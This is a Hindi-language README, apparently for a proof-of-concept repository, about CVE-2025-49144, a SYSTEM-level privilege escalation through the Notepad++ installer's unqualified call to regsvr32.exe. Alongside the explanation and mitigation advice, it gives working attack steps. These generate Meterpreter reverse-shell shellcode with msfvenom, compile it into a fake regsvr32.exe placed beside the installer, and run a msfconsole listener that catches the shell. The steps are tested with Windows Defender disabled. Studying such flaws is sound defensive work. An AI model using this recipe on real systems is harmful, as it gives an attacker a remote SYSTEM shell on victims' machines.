
CVE-2025-49144 * Notepad++ v8.8.1 * SYSTEM-स्तरीय POC
CVE-2025-49144 * Notepad++ v8.8.1 * सिस्टम-स्तरीय POC

📌 CVE-2025-49144 Notepad++ v8.8.1 और उससे पहले के संस्करणों के इंस्टॉलर में पाया जाने वाला एक उच्च-गंभीरता वाला स्थानीय विशेषाधिकार वृद्धि (Local Privilege Escalation) भेद्यता है। यह भेद्यता इंस्टॉलेशन के दौरान अनियंत्रित एक्ज़ीक्यूटेबल खोज पथ (uncontrolled executable search path) व्यवहार के कारण उत्पन्न होती है, जिससे एक स्थानीय हमलावर इंस्टॉलर के समान निर्देशिका में दुर्भावनापूर्ण एक्ज़ीक्यूटेबल रखकर सिस्टम-स्तरीय (SYSTEM-level) विशेषाधिकार प्राप्त कर सकता है।
⚙️ CVE कैसे काम करता है – चरण-दर-चरण:
🧱 1. इंस्टॉलर में क्या गलत था?
Notepad++ इंस्टॉलर (v8.8.2 से पहले) कुछ घटकों को पंजीकृत करने के लिए regsvr32.exe को कॉल करता है — लेकिन वह पूर्ण पथ (जैसे C:\Windows\System32\regsvr32.exe) दिए बिना ऐसा करता है।
इसके बजाय, वह केवल यह चलाता है:
regsvr32.exe some_dll 📂 2. विंडोज़ खोज पथ व्यवहार: जब किसी एक्ज़ीक्यूटेबल को पूर्ण पथ के बिना लॉन्च किया जाता है, तो विंडोज़ फ़ाइल खोजने के लिए एक विशिष्ट खोज क्रम का उपयोग करता है:
वह फ़ोल्डर जहाँ से एप्लिकेशन लॉन्च किया गया था (जैसे, Downloads)
सिस्टम फ़ोल्डर (System32)
विंडोज़ फ़ोल्डर
वर्तमान कार्यशील निर्देशिका
PATH पर्यावरण चर में पथ
इसलिए, यदि एक नकली regsvr32.exe को इंस्टॉलर के समान फ़ोल्डर में (जैसे, Downloads) रखा जाता है, तो विंडोज़ असली के बजाय पहले उसका उपयोग करेगा।
💣 3. शोषण (Exploitation):
हमलावर एक दुर्भावनापूर्ण regsvr32.exe को वैध Notepad++ इंस्टॉलर के समान फ़ोल्डर में रखता है (जैसे, पीड़ित का Downloads फ़ोल्डर)।
पीड़ित इंस्टॉलर चलाता है (यह सोचकर कि यह सुरक्षित है)।
इंस्टॉलर regsvr32.exe को कॉल करता है, लेकिन उसी फ़ोल्डर से दुर्भावनापूर्ण एक्ज़ीक्यूटेबल को सिस्टम विशेषाधिकारों के साथ निष्पादित कर देता है (क्योंकि इंस्टॉलर सामान्यतः व्यवस्थापक अनुमतियाँ माँगते हैं)।
हमलावर का पेलोड अब NT AUTHORITY\SYSTEM के रूप में चल रहा है। ⚙️ पुनरुत्पादन के चरण (Steps to Reproduce):
शेल कोड प्राप्त करें: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c > shellcode.txt "regsvr32_loader.c" फ़ाइल डाउनलोड करें और उसे संपादित करें। पूरे शेलकोड को shellcode.txt से उल्लिखित टिप्पणी में पेस्ट करें। regsvr32.exe में संकलित करें: x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows मीटरप्रेटर लिसनर तैनात करें: msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.9 set LPORT 4444 run Notepad++ का एक भेद्य संस्करण डाउनलोड करें, अर्थात 8.8.1 से पहले का, क्योंकि 8.8.1 अब स्वतः-अपडेट हो जाता है। PoC के लिए मैंने Notepad++ v8.6.8 का उपयोग किया है। फ़ाइल "regsvr32.exe" को विंडोज़ सिस्टम में नोटपैड++ इंस्टॉलर के समान फ़ोल्डर में रखें, संभवतः Downloads फ़ोल्डर में। Notepad++ इंस्टॉलर की स्थापना पूरी करें। नोट: यह एक PoC है, इसलिए इसे विंडोज़ डिफ़ेंडर और रीयल-टाइम सुरक्षा अक्षम करके परीक्षण किया गया है।
✅ शमन (Mitigation)
उपयोगकर्ताओं और व्यवस्थापकों को चाहिए:
Notepad++ v8.8.2 या उसके बाद के संस्करण में अपग्रेड करें
सॉफ़्टवेयर इंस्टॉलेशन को भरोसेमंद व्यवस्थापकों तक सीमित रखें
AppLocker, WDAC, या सॉफ़्टवेयर प्रतिबंध नीतियों (SRP) का उपयोग करके:
उपयोगकर्ता-लेखन योग्य फ़ोल्डरों (जैसे, Downloads) से निष्पादन अवरुद्ध करें अनधिकृत पथों से regsvr32.exe जैसे अविश्वसनीय बाइनरी के निष्पादन को रोकें एक्ज़ीक्यूटेबल के लिए कोड साइनिंग अनिवार्य करें सुरक्षा टीमों को नियमित रूप से इंस्टॉल पथों का ऑडिट करना चाहिए, लेखन अनुमतियों की निगरानी करनी चाहिए, और हमले की सतह को कम करने के लिए इंस्टॉलर निष्पादन के दौरान व्यवहार का अवलोकन करना चाहिए।
🏷️ लाइसेंस MIT लाइसेंस — केवल शैक्षिक, अनुसंधान और रक्षात्मक उद्देश्यों के लिए निःशुल्क।
🤝 योगदान पुल रिक्वेस्ट का स्वागत है — डिटेक्शन में सुधार करें, सुविधाएँ जोड़ें, या सुधार सुझाएँ।